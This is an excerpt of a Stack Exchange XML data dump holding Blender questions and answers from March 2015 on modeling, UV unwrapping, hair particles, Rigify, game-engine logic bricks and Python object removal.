  <row Id="27198" PostTypeId="1" CreationDate="2015-03-16T16:14:47.390" Score="0" ViewCount="119" Body="&lt;p&gt;I will show a objection reflection onto another flat surface in Blender internal, Material viewport because I will like to try and use the opengl render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried using mirror but it wont show up in the Material viewrport, only show up in Rendered viewport.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there other way? Please advise.&lt;/p&gt;&#xA;" OwnerUserId="11536" LastActivityDate="2015-03-16T16:14:47.390" Title="Show a objection reflection onto another surface in Blender internal" Tags="&lt;opengl&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27199" PostTypeId="1" AcceptedAnswerId="27206" CreationDate="2015-03-16T16:19:59.880" Score="0" ViewCount="428" Body="&lt;p&gt;My apologies, my question may be a duplicate but I can't seem to find the correct terminology to phrase my question correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;During editing, is it possible to select a group of vertices and cause them to become 'solid'? As in, make it so that if I translate 1 vertex from the group, the entire group translates together, or if 1 vertex is rotated, the whole group rotates with it as a solid object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifics: I have a model (model and example of what I'm aiming for included below) that I've been making and essentially I want to bend most of it into an arc shape, but I want a section of it to remain rigid so that it doesn't warp while I rotate the rest of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/inB1U.png&quot; alt=&quot;Model&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XS2L1.jpg&quot; alt=&quot;Target&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13191" LastEditorUserId="13191" LastEditDate="2015-03-16T17:50:55.653" LastActivityDate="2015-03-16T18:29:31.917" Title="How to make group of vertices solid/frozen/rigid" Tags="&lt;vertex-groups&gt;" AnswerCount="1" CommentCount="8" ClosedDate="2015-03-16T23:22:03.520" ContentLicense="CC BY-SA 3.0" />
  <row Id="27200" PostTypeId="1" AcceptedAnswerId="60433" CreationDate="2015-03-16T16:33:43.823" Score="2" ViewCount="589" Body="&lt;p&gt;I have a Point Cloud (with 20 Points). In this Point Cloud I connected two vertices (in Edit mode) with one edge. Now I would like to align/rotate that edge (and the Point Cloud with it) to one axis (e.g. y-axis). So this edge would need to be exactly on the y-axis (no rotation). I can zero out one vertice of this edge to the the origin. But I struggle to understand how I could bring the second vertice onto the y-axis. Any help would be great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: I would need the edge to be parallel to the y-axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This looks promising: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/3D_interaction/Precise_Align&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/3D_interaction/Precise_Align&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RQ2oc.png&quot; alt=&quot;This is what I would like to achive&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3087" LastEditorUserId="3087" LastEditDate="2015-03-16T21:38:03.200" LastActivityDate="2016-08-06T20:00:09.533" Title="How can I align a Point Cloud precisely" Tags="&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27201" PostTypeId="1" AcceptedAnswerId="27247" CreationDate="2015-03-16T16:39:36.493" Score="1" ViewCount="1737" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/x5o1k.png&quot; alt=&quot;enter image description here&quot;&gt;I scan a bust of someone and get an xxx.obj file and a texture file. The mesh is too dense and also needs repair so I make a separate obj file to repair. During the repair it loses the texture. &#xA;I bring in the original mesh and the new mesh, align them (ether in meshlab or visually in Blender). I remove duplicates in both meshes. Then I unwrap the new mesh using smart UV unwrap. Then I bake the original texture to the new mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Besides finding overlapping UV meshes (fixable), the issue is that there are more than one UV face for certain areas. I get duplicate individual faces and duplicate multi-face areas in the uv map. &#xA;The resulting model has bits of the shirt color in the face and vice-versa. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I select the troubled faces in the editor view, multiple separate areas in the UV image map light up. When I paint the face, the shirt gets bits of the skin color, etc. I can't seem to delete the bad duplicate faces in the UV mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a problem with Blender 2.72 or am I doing something wrong - and how to I fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help.&#xA;B&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: I've uploaded a blend file at &lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/109/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=109&quot; /&gt;&lt;/a&gt; . I've created  completely black testuv.png file an as soon as you open the blend file, you'll see the mesh and the UV editor panel.&#xA;Notice that two faces are selected on the mesh edit panel and on the left two completely separate pairs of UV faces are highlighted.  This occurs many times after doing an unwrap using Smart UV Project..&#xA;Notice that I painted the face area red and see how many red triangles there are in other parts of the mesh.&#xA;I do see areas of overlapping mesh but I can fix those manually. I can't seem to separate the duplicate UV meshes or delete them.&#xA;You can re-do the unwrap and recreate the problem.&lt;br&gt;&#xA;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="13188" LastEditorUserId="-1" LastEditDate="2017-03-14T09:17:19.773" LastActivityDate="2015-03-18T17:49:47.600" Title="smart uv unwrap creates duplicate (not overlapping) uv mesh segments" Tags="&lt;uv&gt;&lt;texture-baking&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27203" PostTypeId="1" AcceptedAnswerId="27207" CreationDate="2015-03-16T17:06:24.870" Score="5" ViewCount="2331" Body="&lt;p&gt;I was thinking about making a hairball character. The character is simply a sphere with a hair particle system. In addition to it's base hair, it'd have a couple longer tighter hairs to act as arms. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd want the &quot;arms&quot; to act as regular hair (i.e. hair dynamics) but have the ability to be posed when it's time to reach out and grab something in its environment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does Blender have the tools needed for such an organic rig?&lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2015-03-20T16:31:38.843" Title="Posing Hair in Animation" Tags="&lt;animation&gt;&lt;rigging&gt;&lt;particles&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27204" PostTypeId="1" CreationDate="2015-03-16T17:35:18.380" Score="4" ViewCount="277" Body="&lt;p&gt;I have a minimal knowledge of Blender because two classes in my course requires it. I'm making a game where a cannon shoots at targets. I've decided to make a night level (the day level is 100% working) and add point light sources to the targets and the ammo, which is a ball.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a point light source and added it as a child to the ball. Both are located on a different layer than the &quot;shooter&quot;. When I fire a shot, the light follows the ball as expected. But when I fire several shots, there's only one point light source and it follows the last ball fired, jumping from ball to ball as I fire them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've searched a bit and I found out that &lt;a href=&quot;https://developer.blender.org/T42119&quot; rel=&quot;nofollow&quot;&gt;that may be impossible&lt;/a&gt;, but I'm not sure, so that's why I'm asking if it can be done and how. I'm not in a hurry since this is not mandatory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using Blender 2.73a in GLSL mode (can't change that) in Windows 7 Ultimate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="13193" LastActivityDate="2018-10-23T03:01:06.063" Title="Only one child light source for parent objects created multiple times" Tags="&lt;game-engine&gt;&lt;light&gt;&lt;parent&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27205" PostTypeId="1" CreationDate="2015-03-16T18:24:27.423" Score="3" ViewCount="2848" Body="&lt;p&gt;I have a problem, I am using the rigify tool in blender. Not the normal rigify but the one form PichtiPoy with the faceial controls. I love it but with the normal rigify tool you get the nice finger controls, where you just have to scale something down and the fingers wil close. I find thant very useful but I can't find it anywhere on the PitchiPoy version of the add-on. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can sombody tell me what the problem is? What I'm doing wrong or how I could make it work?&#xA;I would love to hear it! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance&lt;/p&gt;&#xA;" OwnerUserId="13194" LastActivityDate="2015-03-17T16:07:39.030" Title="PitchiPoy Rigify missing finger controls" Tags="&lt;rigify&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27206" PostTypeId="2" ParentId="27199" CreationDate="2015-03-16T18:29:31.917" Score="1" Body="&lt;p&gt;Option 1:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Separate the objects. In &quot;object mode&quot; hit &quot;shift+d&quot; to duplicate the object. Delete the vertices in one object, and the inverse vertices in the other. Then, while editing one, you do not affect another.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Option 2:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Deform your mesh with an Armature. Use 2 bones. One bone affects the rigid piece, the other bone affects the other parts. Pose the bones into the shape you want, and apply the armature. Use &quot;vertex groups&quot; to influence the deforms. A bone will affect vertices in a vertex group that has the same name as it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully this can help you learn some terminology and put you on the right track.&lt;/p&gt;&#xA;" OwnerUserId="4960" LastActivityDate="2015-03-16T18:29:31.917" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27207" PostTypeId="2" ParentId="27203" CreationDate="2015-03-16T18:51:30.747" Score="6" Body="&lt;p&gt;You can use curves as hair guides. Set their maximum influence to create a small &quot;sphere&quot; around their base which influences the hair system, which will allow short hairs, and under the curve's influence only, long hairs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Than you can use shape keys to animate the curve. I'm not sure if you can use an armature but that may also be an option through some other round about method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a step by step, sorry there is no screen shots.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;select an object and create a particle system. Select &quot;Hair&quot; as&#xA;the type. You will see some strands.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;create a bezier curve (shift+a -&gt; curve -&gt; bezier curve)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;this is the step that may have been unclear sorry. Select the&#xA;curve, and go to the Physics tab, and click &quot;Force Field&quot;. In the&#xA;properties below, under &quot;Type&quot; change from &quot;Force&quot; to &quot;Curve Guide&quot;.&#xA;There will be 2 circles, a dotted and solid at each point. The solid&#xA;sphere is the root of the guide.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Check the &quot;Use Max&quot; checkbox. This will change the root to a dashed&#xA;sphere. Set the maximum distance as desired. It will change the size&#xA;of that sphere, and any hairs inside of it, will be influenced by&#xA;the hair guide.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now changing the hair system in particle settings will affect the normal parts, and the hair guide fill affect some specific parts.&lt;/p&gt;&#xA;" OwnerUserId="4960" LastEditorUserId="4960" LastEditDate="2015-03-20T16:31:38.843" LastActivityDate="2015-03-20T16:31:38.843" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="27208" PostTypeId="2" ParentId="27196" CreationDate="2015-03-16T18:55:28.843" Score="3" Body="&lt;p&gt;Two possibilities depending on the tools used:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Use OBJ files in combination with BVH. BVH contains the skeleton,&#xA;and OBJ is capable of containing vertex weights&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;DAE which is one file that can contain both the weights and the&#xA;    skeleton. This is the best format IMO and is widely supported&#xA;    (although perhaps slightly less supported than OBJ/BHV).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If FBX is your only option, I've used a program that converts FBX to DAE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://usa.autodesk.com/adsk/servlet/pc/item?siteID=123112&amp;amp;id=20481519&quot; rel=&quot;nofollow&quot;&gt;http://usa.autodesk.com/adsk/servlet/pc/item?siteID=123112&amp;amp;id=20481519&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4960" LastActivityDate="2015-03-16T18:55:28.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27209" PostTypeId="1" AcceptedAnswerId="27231" CreationDate="2015-03-16T19:06:54.843" Score="3" ViewCount="1684" Body="&lt;p&gt;In my file explorer I can see a small rendering of my scene as the icon for the .blend file. I wonder if I could retrieve this internally via libload..? This is just what I need: A small rendering of the first scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is: How can I get a render of the first scene of a separate .blend file?&lt;/p&gt;&#xA;" OwnerUserId="1608" LastEditorUserId="5113" LastEditDate="2015-03-16T19:15:19.493" LastActivityDate="2015-03-17T17:06:10.537" Title="How is the .blend file thumbnail generated?" Tags="&lt;python&gt;&lt;rendering&gt;" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="27210" PostTypeId="1" CreationDate="2015-03-16T20:02:12.143" Score="1" ViewCount="97" Body="&lt;p&gt;I used vertex slide for a shapekey. Everything came out great, except that when I go back to edit mode everything is deformed due to the vertex slide. I believe if I had used scale I could have gone back to object mode and alt + s to &quot;undo&quot; the deformation. However, resetting the scale, position, or rotation of the object seems to have no effect on vertex slide. Any fixes?&lt;/p&gt;&#xA;" OwnerUserId="3109" LastActivityDate="2015-03-18T10:04:30.403" Title="How to remove vertex slide?" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="27211" PostTypeId="1" CreationDate="2015-03-16T20:19:32.190" Score="0" ViewCount="917" Body="&lt;p&gt;I have some text parented to the camera to show how many lives the player has.  In the viewport, it looks like this:&lt;img src=&quot;https://i.stack.imgur.com/4KTVC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But in the game, it looks like this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/iyAri.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I fix this?  Thank you.&lt;/p&gt;&#xA;" OwnerUserId="12805" LastActivityDate="2015-03-16T20:19:32.190" Title="Text in Blender Game Engine" Tags="&lt;text-object&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2015-03-17T10:08:43.017" ContentLicense="CC BY-SA 3.0" />
  <row Id="27212" PostTypeId="1" CreationDate="2015-03-16T20:38:38.957" Score="2" ViewCount="6572" Body="&lt;p&gt;Hy all,&#xA;I am a beginner in Blender, I get all things I want done eventually, but this one is a total mystery to me, either it is too simple or simply to hard :):&#xA;Original or default UV sphere mesh has 32 faces which make circumference of the sphere (x,y direction), but I want to make a sphere which number of faces are divisible by 5, I+ve tried everything, subdividing, decimating...but can not get number divisible by 5. Merging or dissolving edges is not an option since I want even faces.&#xA;Does anyone have any suggestion? Or script perhaps?&#xA;Thank you,&#xA;Tasha&lt;/p&gt;&#xA;" OwnerUserId="13198" LastActivityDate="2016-10-23T09:11:22.773" Title="How to make a sphere which number of faces is divisible by 5?" Tags="&lt;mesh&gt;&lt;faces&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27213" PostTypeId="1" CreationDate="2015-03-16T20:41:41.023" Score="1" ViewCount="769" Body="&lt;p&gt;My scene is a cube standing on a checkered plane. For some reason I don't quite understand, when i render the final product lines will appear on the cube, as seen in the picture:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/QmCkE.png&quot; alt=&quot;Weird lines along the X and Y axis&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What really bugs me is that I rendered another picture awhile ago, with pretty much the same settings (quite close at least) but this time no lines appeared! Unfortunately the blender file that came with this picture was deleted, making it impossible me to copy from:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/lkGgH.jpg&quot; alt=&quot;Although i might have been using a shade mixer for this one...&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13052" LastActivityDate="2015-04-27T15:51:22.620" Title="Strange lines appearing when rendering glass" Tags="&lt;rendering&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="27215" PostTypeId="2" ParentId="27212" CreationDate="2015-03-16T20:56:50.173" Score="1" Body="&lt;p&gt;Hit &lt;kbd&gt;T&lt;/kbd&gt; to bring out the Tool Shelf. In the lower part of it, there should be a section where you can set the properties of newly added objects. If there isn't, put the mouse pointer on the little &lt;strong&gt;+&lt;/strong&gt; sign and pull up.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/FKSnn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/5boDP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user7952" LastActivityDate="2015-03-16T20:56:50.173" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27217" PostTypeId="1" AcceptedAnswerId="27218" CreationDate="2015-03-16T21:15:22.837" Score="0" ViewCount="263" Body="&lt;p&gt;When I notice 2 edges in each other, I select both of the points and hit &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;M&lt;/kbd&gt;, which allows me to merge them. I always merge them at center to have both points merge and have them as one point. I always, when I finish a model, select every edge in wireframe mode twice to see if there are edges in each other that I may have modeled by mistake. Is there any way the system could help me with this task? It takes a lot of time and I could always miss something. Any help is appreciated. Thank you!&lt;/p&gt;&#xA;" OwnerUserId="1597" LastEditorUserId="3127" LastEditDate="2015-03-16T21:37:46.453" LastActivityDate="2015-03-16T21:37:46.453" Title="How to notice edges in each other?" Tags="&lt;modeling&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27218" PostTypeId="2" ParentId="27217" CreationDate="2015-03-16T21:21:25.583" Score="4" Body="&lt;p&gt;You use &lt;kbd&gt;W&lt;/kbd&gt;&gt;&lt;em&gt;Remove Doubles&lt;/em&gt;, with everything selected &lt;kbd&gt;A&lt;/kbd&gt;, this will find all the vertices within &lt;code&gt;n&lt;/code&gt; units of another vertex and merge them. &lt;code&gt;n&lt;/code&gt; is defined by the merge distance, which you can modify using &lt;kbd&gt;F6&lt;/kbd&gt; after executing the command.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RNDAa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2015-03-16T21:21:25.583" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27219" PostTypeId="1" CreationDate="2015-03-16T23:03:10.943" Score="7" ViewCount="21579" Body="&lt;p&gt;I just downloaded the release candidate for blender 2.74 because it said on the release notes that it has  &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.74&quot; rel=&quot;noreferrer&quot;&gt;&quot;Support for hair collision with meshes&quot;&lt;/a&gt; and I would like to make it so that my hair particles stay inside of a hood that I modeled for my character. If anyone could give me insight on how exactly I can accomplish this effect it would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="7832" LastActivityDate="2015-05-01T16:35:47.190" Title="How do I make hair collide with a mesh?" Tags="&lt;mesh&gt;&lt;particles&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27221" PostTypeId="1" AcceptedAnswerId="27694" CreationDate="2015-03-16T23:29:05.957" Score="1" ViewCount="84" Body="&lt;p&gt;I have a character who plays his walk animation when he walks, but what if he is behind a wall? He would look sort of goofy walking when hes in place. Is there a way I can have a property (&quot;Moving&quot;) be toggled to 1 when hes changing his position (not rotation) in 3d space? Any helps is appreciated; I would like to have this in logic bricks if it is simple. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1597" LastActivityDate="2015-03-26T07:32:24.013" Title="&quot;Moving Property&quot; function?" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27222" PostTypeId="1" AcceptedAnswerId="27224" CreationDate="2015-03-16T23:38:20.507" Score="0" ViewCount="77" Body="&lt;p&gt;I recently asked a question about a function where I would have a property toggled to one if my player is moving. This is is quite similar. I would like to have a property (&quot;In-air&quot;) be toggled to one when my player is off the ground. I thought of giving the floor a property called &quot;floor,&quot; and when my player is not touching it he cannot jump. I don't know if this is the best way of doing this, but any help is appreciated. I prefer logic bricks if this is simple; otherwise, use python. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1597" LastActivityDate="2015-03-24T22:12:21.320" Title="&quot;In-air&quot; function?" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27223" PostTypeId="1" AcceptedAnswerId="27692" CreationDate="2015-03-16T23:44:01.990" Score="0" ViewCount="558" Body="&lt;p&gt;When I make something in logic bricks, I try to have everything always neat. I always end up with a lot of bricks that lead to a brick way upwards and/or way downwards. When I make edits, I would usually erase everything and start again. I would like to organize this in any way. Is there a way you can put a little divider to just store a certain function? This way, when I start a new function, everything would be leveled. Is there a plugin for this if this does not exist? I know you can do this in programming in just about every language. Any help is appreciated, thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I have been given a question that, in some ways, can be seen as a duplicate. I am &lt;strong&gt;not&lt;/strong&gt; looking to have my logic bricks behind the scene, by unselecting the link button. I am looking to have layers of logic organized by what can be a divider; this feature is most likely not in the engine, so I am probably looking at an addon.&lt;/p&gt;&#xA;" OwnerUserId="1597" LastEditorUserId="1597" LastEditDate="2015-03-17T00:10:50.177" LastActivityDate="2015-03-26T06:48:22.763" Title="How to keep logic bricks organized?" Tags="&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="27224" PostTypeId="2" ParentId="27222" CreationDate="2015-03-16T23:49:43.973" Score="2" Body="&lt;p&gt;From the way your question is currently written, I think this is what you want..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When your character is not colliding with the floor, And you press space bar, It will jump.&#xA;By inverting the output of the collision sensor, you essentially make it send negative pulses when it &lt;em&gt;Is&lt;/em&gt; colliding, and send positive pulses when it &lt;em&gt;Is Not&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That way the sensor will only register true when it is &lt;strong&gt;not&lt;/strong&gt; colliding with any object with the property floor. activate true level triggering to continuously update the sensor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GyZPM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5426" LastEditorUserId="5426" LastEditDate="2015-03-24T22:12:21.320" LastActivityDate="2015-03-24T22:12:21.320" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27225" PostTypeId="1" CreationDate="2015-03-17T01:13:38.763" Score="0" ViewCount="91" Body="&lt;p&gt;I am working on an older file with a background image. In the animation, the camera moves and pans relative to two objects in the scene. But the background image behind the camera and behind the objects looks the same at every point: The background image is not effected by the move/pan.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know this solution for Cycles:&#xA;&lt;a href=&quot;https://blender.stackexchange.com/questions/5681/add-a-panoramic-background-to-scene-in-cycles&quot;&gt;Add a panoramic background to scene in Cycles&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and it performs (in cycles) as I expect: the background image changes as the camera moves/pans... I am unable to recreate this in BI... and clearly I have forgotten something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All input welcome.&lt;/p&gt;&#xA;" OwnerUserId="11590" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2015-03-17T10:22:09.333" Title="Legacy file in BI: Background image does not change as camera pans" Tags="&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27230" PostTypeId="2" ParentId="27205" CreationDate="2015-03-17T06:57:19.903" Score="4" Body="&lt;p&gt;It's easy enough to switch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First you need to select the &lt;strong&gt;Pitchiboy metarig&lt;/strong&gt; and go into &lt;strong&gt;Pose mode&lt;/strong&gt;. Select the root of the finger (3rd from the tip) and go to the &lt;strong&gt;Bone properties&lt;/strong&gt; view. Under the &lt;strong&gt;Rigify Type&lt;/strong&gt; view it shows that the bone is set to create a &lt;em&gt;&quot;pitchiboy.simple_tentacle&quot;&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/W7Ie7.png&quot; alt=&quot;Rig type set to pitchiboy.simple_tentacle&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Click the &lt;strong&gt;Rig type&lt;/strong&gt; field and select &lt;em&gt;&quot;finger&quot;&lt;/em&gt;. You need to do this to each finger you want to change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XG6OA.png&quot; alt=&quot;Rig type set to finger&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now when you &lt;strong&gt;generate the rig&lt;/strong&gt;, you'll have the default finger controls. The Rigify system is pretty flexible, allowing you to mish and mash rig controls any way you need.&lt;/p&gt;&#xA;" OwnerUserId="3420" LastEditorUserId="3420" LastEditDate="2015-03-17T07:12:30.333" LastActivityDate="2015-03-17T07:12:30.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27231" PostTypeId="2" ParentId="27209" CreationDate="2015-03-17T09:08:34.517" Score="4" Body="&lt;p&gt;As has been pointed out blender has a &lt;a href=&quot;https://developer.blender.org/diffusion/B/browse/master/release/bin/blender-thumbnailer.py&quot; rel=&quot;nofollow&quot;&gt;python script&lt;/a&gt; to perform that task. While the *nix variations install this along with blender, the OSX and Windows distributions do not include it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As with the rest of blender this script is available under the GPL license so you can copy part or all of the script and include it in the script you are making. A call to &lt;code&gt;blend_extract_thumb(path)&lt;/code&gt; with the path to the file you want a thumbnail of will return an image buffer and resolution for you to use however you want.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-03-17T09:08:34.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27232" PostTypeId="2" ParentId="27225" CreationDate="2015-03-17T10:22:09.333" Score="1" Body="&lt;p&gt;There is mapping option in the world texture setting change it from View to what suits your needs :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hnANK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-03-17T10:22:09.333" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27234" PostTypeId="1" AcceptedAnswerId="27235" CreationDate="2015-03-17T12:17:11.057" Score="46" ViewCount="52930" Body="&lt;p&gt;How can I completely remove an object (for example a camera) using python scripting?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;scene.objects.unlink(camera)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does not work, since it is still available in &lt;strong&gt;bpy.data.objects&lt;/strong&gt;. However, using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.objects.remove(camera)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;still doesn't remove the camera, since it continues to exists in &lt;strong&gt;bpy.data.cameras&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to remove an object from all of these places at the same time?&lt;/p&gt;&#xA;" OwnerUserId="13212" LastEditorUserId="13212" LastEditDate="2015-03-17T12:38:39.633" LastActivityDate="2021-01-13T00:01:25.180" Title="Python: How to completely remove an object" Tags="&lt;python&gt;&lt;objects&gt;" AnswerCount="5" CommentCount="1" FavoriteCount="14" ContentLicense="CC BY-SA 3.0" />
